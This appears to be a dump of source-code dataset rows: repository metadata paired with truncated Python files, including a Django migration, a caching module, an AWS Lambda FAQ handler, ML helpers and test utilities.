] | 3 | 2019-02-07T14:47:00.000Z | 2022-02-15T14:09:38.000Z | projects/migrations/0086_auto_20201202_0818.py | SuviVappula/kaavapino | 0e3687c94afff10527c9bee9627fc30bd2dfab4f | [
"MIT"
] | 74 | 2017-12-13T09:18:04.000Z | 2022-03-11T23:29:59.000Z | projects/migrations/0086_auto_20201202_0818.py | SuviVappula/kaavapino | 0e3687c94afff10527c9bee9627fc30bd2dfab4f | [
"MIT"
] | 8 | 2017-12-13T09:31:20.000Z | 2022-02-15T13:10:34.000Z | # Generated by Django 2.2.13 on 2020-12-02 06:18
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('projects', '0085_auto_20201201_1705'),
]
operations = [
migrations.CreateModel(
name='ProjectP... | 40.222222 | 190 | 0.633702 | 1,683 | 0.929834 | 0 | 0 | 0 | 0 | 0 | 0 | 635 | 0.350829 |
af815fbf98829714e6eda7b837a98b8d597117ab | 38,711 | py | Python | bionic/persistence.py | baxen/bionic | f722a72e9571b81f537ed51fcf15bc964a928024 | [
"Apache-2.0"
] | null | null | null | bionic/persistence.py | baxen/bionic | f722a72e9571b81f537ed51fcf15bc964a928024 | [
"Apache-2.0"
] | null | null | null | bionic/persistence.py | baxen/bionic | f722a72e9571b81f537ed51fcf15bc964a928024 | [
"Apache-2.0"
] | null | null | null | """
This module provides local and cloud storage of computed values. The main
point of entry is the PersistentCache, which encapsulates this functionality.
"""
import attr
import os
import shutil
import tempfile
import yaml
import warnings
from uuid import uuid4
from pathlib import Path
from bionic.exception import ... | 34.656222 | 88 | 0.623415 | 36,679 | 0.947508 | 654 | 0.016894 | 4,781 | 0.123505 | 0 | 0 | 11,846 | 0.306011 |
af84d23224addc1fdc1ef092243757bb1b97c61d | 925 | py | Python | faq/lambda_function.py | david-fisher/320-S20-Track2 | 4bdda4701dac75dafaa09fa68a8502d7c5279502 | [
"BSD-3-Clause"
] | 8 | 2019-12-30T16:37:53.000Z | 2020-04-09T17:18:14.000Z | faq/lambda_function.py | david-fisher/320-S20-Track2 | 4bdda4701dac75dafaa09fa68a8502d7c5279502 | [
"BSD-3-Clause"
] | 95 | 2020-02-03T15:13:19.000Z | 2020-05-05T01:00:16.000Z | faq/lambda_function.py | david-fisher/320-S20-Track2 | 4bdda4701dac75dafaa09fa68a8502d7c5279502 | [
"BSD-3-Clause"
] | null | null | null | import json
import boto3
#Last Updated
#5/3/2020
s3 = boto3.client('s3') #S3 object
def lambda_handler(event, context):
#Initializing the variables
bucket = 't2-bucket-storage'
key = 'FAQ.txt'
#CORS headers
response_headers = {}
response_headers["X-Requested-With"] = "*"
response_heade... | 30.833333 | 122 | 0.665946 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 472 | 0.51027 |
af85b8246d06deab8fbd40d2dd688d0cf7df337f | 1,582 | py | Python | easy_rl/utils/learning_rate_utils.py | simonoso/EasyRL | 3d8eb2bf138dd2a0b95f8b3743d15f34cfff0740 | [
"Apache-2.0"
] | 125 | 2019-12-05T02:50:56.000Z | 2022-02-22T08:03:24.000Z | easy_rl/utils/learning_rate_utils.py | simonoso/EasyRL | 3d8eb2bf138dd2a0b95f8b3743d15f34cfff0740 | [
"Apache-2.0"
] | 4 | 2020-03-18T05:56:22.000Z | 2020-07-11T11:10:17.000Z | easy_rl/utils/learning_rate_utils.py | simonoso/EasyRL | 3d8eb2bf138dd2a0b95f8b3743d15f34cfff0740 | [
"Apache-2.0"
] | 26 | 2019-12-12T06:25:47.000Z | 2022-01-19T22:19:41.000Z | import tensorflow as tf
class LearningRateStrategy(object):
def __init__(self, init_lr, strategy_spec):
self._type = strategy_spec.pop('type', 'exponential_decay')
self._decay_steps = strategy_spec.pop('decay_steps', 1000)
self._decay_rate = strategy_spec.pop('decay_rate', 0.9)
sel... | 38.585366 | 67 | 0.591656 | 1,555 | 0.982933 | 0 | 0 | 0 | 0 | 0 | 0 | 126 | 0.079646 |
af8721001b7e64b7b7d1b084ad899f44e8598884 | 2,841 | py | Python | plenum/test/node_request/test_split_non_3pc_messages_on_batches.py | ArtObr/indy-plenum | c568eefb0042b3ec3aec84e9241cb1b5df419365 | [
"Apache-2.0"
] | null | null | null | plenum/test/node_request/test_split_non_3pc_messages_on_batches.py | ArtObr/indy-plenum | c568eefb0042b3ec3aec84e9241cb1b5df419365 | [
"Apache-2.0"
] | null | null | null | plenum/test/node_request/test_split_non_3pc_messages_on_batches.py | ArtObr/indy-plenum | c568eefb0042b3ec3aec84e9241cb1b5df419365 | [
"Apache-2.0"
] | null | null | null | from functools import partial
import pytest
from plenum.test import waits
from plenum.test.helper import sendRandomRequests, waitForSufficientRepliesForRequests, checkReqAck
from plenum.test.pool_transactions.helper import buildPoolClientAndWallet
from stp_core.loop.eventually import eventuallyAll
from stp_core.vali... | 38.917808 | 99 | 0.697994 | 0 | 0 | 322 | 0.11334 | 354 | 0.124604 | 0 | 0 | 387 | 0.13622 |
af879e6f69f0e9817c68bf41b7101a7b9761611c | 2,935 | py | Python | src/api/models/user.py | ThaDeveloper/grind | fa90b65d12e6d9b3d658b132874801ecda08c57f | [
"MIT"
] | 1 | 2019-11-06T22:26:26.000Z | 2019-11-06T22:26:26.000Z | src/api/models/user.py | ThaDeveloper/grind | fa90b65d12e6d9b3d658b132874801ecda08c57f | [
"MIT"
] | 5 | 2021-03-19T02:49:44.000Z | 2021-06-10T19:13:00.000Z | src/api/models/user.py | ThaDeveloper/grind | fa90b65d12e6d9b3d658b132874801ecda08c57f | [
"MIT"
] | null | null | null | """User model module"""
import jwt
from datetime import datetime, timedelta
from django.db import models
from django.utils import timezone
from django.contrib.auth.models import AbstractBaseUser, PermissionsMixin
from django.conf import settings
from django.core.validators import RegexValidator
from .base_model impor... | 29.35 | 78 | 0.635775 | 2,549 | 0.868484 | 0 | 0 | 465 | 0.158433 | 0 | 0 | 603 | 0.205451 |
af89871525ce046c30aacd0f640b5f99e4205cd0 | 2,254 | py | Python | deferred/handler.py | potatolondon/djangoappengine-1-4 | ae4993597f5afcfa0df42f0fa50913f4c85e2b74 | [
"BSD-3-Clause"
] | null | null | null | deferred/handler.py | potatolondon/djangoappengine-1-4 | ae4993597f5afcfa0df42f0fa50913f4c85e2b74 | [
"BSD-3-Clause"
] | null | null | null | deferred/handler.py | potatolondon/djangoappengine-1-4 | ae4993597f5afcfa0df42f0fa50913f4c85e2b74 | [
"BSD-3-Clause"
] | null | null | null | # Initialize Django.
from djangoappengine import main
from django.utils.importlib import import_module
from django.conf import settings
# Load all models.py to ensure signal handling installation or index
# loading of some apps
for app in settings.INSTALLED_APPS:
try:
import_module('%s.models' % (app))
... | 33.641791 | 111 | 0.676575 | 1,265 | 0.561224 | 0 | 0 | 0 | 0 | 0 | 0 | 571 | 0.253327 |
af8999488b4c74fa92580fccfbc64a7e842f0087 | 260 | py | Python | stix_shifter/stix_transmission/src/modules/cloudIdentity/cloudIdentity_results_connector.py | cookna/stix-shifter | 3152f24cf7acb7670454433525ec10030102e146 | [
"Apache-2.0"
] | null | null | null | stix_shifter/stix_transmission/src/modules/cloudIdentity/cloudIdentity_results_connector.py | cookna/stix-shifter | 3152f24cf7acb7670454433525ec10030102e146 | [
"Apache-2.0"
] | null | null | null | stix_shifter/stix_transmission/src/modules/cloudIdentity/cloudIdentity_results_connector.py | cookna/stix-shifter | 3152f24cf7acb7670454433525ec10030102e146 | [
"Apache-2.0"
] | 2 | 2019-06-26T19:23:52.000Z | 2019-07-09T15:33:16.000Z | from ..base.base_results_connector import BaseResultsConnector
import json
from .....utils.error_response import ErrorResponder
class CloudIdentityResultsConnector(BaseQueryConnector):
def __init__(self, api_client):
self.api_client = api_client
| 28.888889 | 62 | 0.807692 | 129 | 0.496154 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
af8a181071e7abdcc867b84eb6bf5ea64085f25a | 717 | py | Python | churnalyze/py/churn_stats.py | Rdeandres/fight-churn | 88fbff9b00f5ec4a9622073db15ab8809dfb21b3 | [
"MIT"
] | null | null | null | churnalyze/py/churn_stats.py | Rdeandres/fight-churn | 88fbff9b00f5ec4a9622073db15ab8809dfb21b3 | [
"MIT"
] | null | null | null | churnalyze/py/churn_stats.py | Rdeandres/fight-churn | 88fbff9b00f5ec4a9622073db15ab8809dfb21b3 | [
"MIT"
] | null | null | null | import sys
from churn_calc import ChurnCalculator
def main():
'''
Creates churn calculator and runs the statistics and correlation functions.
The schema name is taken from the first command line argument.
The dataset and all other parameters are then taken from the schema configuration.
:return: ... | 23.9 | 86 | 0.687587 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 284 | 0.396095 |
af8b4f7cdd96f1e05ccc0b6456d5fe449a767019 | 2,888 | py | Python | python/contrib/head_pose_picture/src/yolov3/yolov3.py | coldenheart/123 | 798768bba7dfaef051a46d8e1df48bc671de5213 | [
"Apache-2.0"
] | 25 | 2020-11-20T09:01:35.000Z | 2022-03-29T10:35:38.000Z | python/contrib/head_pose_picture/src/yolov3/yolov3.py | coldenheart/123 | 798768bba7dfaef051a46d8e1df48bc671de5213 | [
"Apache-2.0"
] | 5 | 2021-02-28T20:49:37.000Z | 2022-03-04T21:50:27.000Z | python/contrib/head_pose_picture/src/yolov3/yolov3.py | coldenheart/123 | 798768bba7dfaef051a46d8e1df48bc671de5213 | [
"Apache-2.0"
] | 16 | 2020-12-06T07:26:13.000Z | 2022-03-01T07:51:55.000Z | """Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License i... | 39.027027 | 100 | 0.630194 | 2,260 | 0.782548 | 0 | 0 | 0 | 0 | 0 | 0 | 1,044 | 0.361496 |
af8b6e0be67a25ec631893c23bc76d3128fe5bc9 | 901 | py | Python | rigid_body_motion/ros/check_install.py | phausamann/rigid-body-motion | 2d4fbb1b949cc0b609a59877d7539af75dad6861 | [
"MIT"
] | 8 | 2021-05-20T02:24:07.000Z | 2022-03-05T17:15:11.000Z | rigid_body_motion/ros/check_install.py | phausamann/rigid-body-motion | 2d4fbb1b949cc0b609a59877d7539af75dad6861 | [
"MIT"
] | 10 | 2019-06-13T09:36:15.000Z | 2022-01-17T16:55:05.000Z | rigid_body_motion/ros/check_install.py | phausamann/rigid-body-motion | 2d4fbb1b949cc0b609a59877d7539af75dad6861 | [
"MIT"
] | 1 | 2021-08-13T10:24:31.000Z | 2021-08-13T10:24:31.000Z | import traceback
if __name__ == "__main__":
try:
import geometry_msgs.msg # noqa
import rospy # noqa
import std_msgs.msg # noqa
import visualization_msgs.msg # noqa
try:
import rospkg # noqa
import tf2_geometry_msgs # noqa
import t... | 29.064516 | 77 | 0.577137 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 340 | 0.377358 |
af8d86b547c3138c87e5922ed826526a715c832e | 3,466 | py | Python | rstbx/simulation/sim_pdf.py | dperl-sol/cctbx_project | b9e390221a2bc4fd00b9122e97c3b79c632c6664 | [
"BSD-3-Clause-LBNL"
] | 155 | 2016-11-23T12:52:16.000Z | 2022-03-31T15:35:44.000Z | rstbx/simulation/sim_pdf.py | dperl-sol/cctbx_project | b9e390221a2bc4fd00b9122e97c3b79c632c6664 | [
"BSD-3-Clause-LBNL"
] | 590 | 2016-12-10T11:31:18.000Z | 2022-03-30T23:10:09.000Z | rstbx/simulation/sim_pdf.py | dperl-sol/cctbx_project | b9e390221a2bc4fd00b9122e97c3b79c632c6664 | [
"BSD-3-Clause-LBNL"
] | 115 | 2016-11-15T08:17:28.000Z | 2022-02-09T15:30:14.000Z | from __future__ import absolute_import, division, print_function
from six.moves import range
from scitbx.array_family import flex
page_origin = (20.,220.)
boxedge = 500.
class PointTransform:
'''provide the necessary transformation to go from image pixel coordinates
to coordinates on the printed page of the .pd... | 31.798165 | 89 | 0.671091 | 2,621 | 0.756203 | 0 | 0 | 0 | 0 | 0 | 0 | 428 | 0.123485 |